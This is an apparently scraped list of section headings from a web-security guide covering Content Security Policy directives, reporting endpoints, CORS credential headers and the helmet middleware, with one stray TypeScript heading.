2. Add Access-Control-Allow-Credentials: true With credentials: 'include'

`script-src` in Detail

Specific URLs (`https://cdn.example.com`)

`'nonce-<random>'`

`'sha256-<hash>'`

`'unsafe-inline'`

`'unsafe-hashes'`

`'strict-dynamic'`

`style-src`

`img-src`

`font-src`

`connect-src`

`frame-src`

`frame-ancestors`

`base-uri`

`report-uri`

`report-to`

Using `Report-To` (Legacy)

Using `Reporting-Endpoints` (Modern)

Differences between `report-to` and `report-uri`

With `helmet`

First method: ensure all your APIs respond to `OPTIONS` with the correct `Access-Control-Allow-*` header

Include `Access-Control-Allow-Credentials` for Credentialed Requests

1. Don’t Use `*` in Production

2. Add `Access-Control-Allow-Credentials: true` With `credentials: 'include'`

3. `as const` for Literal Inference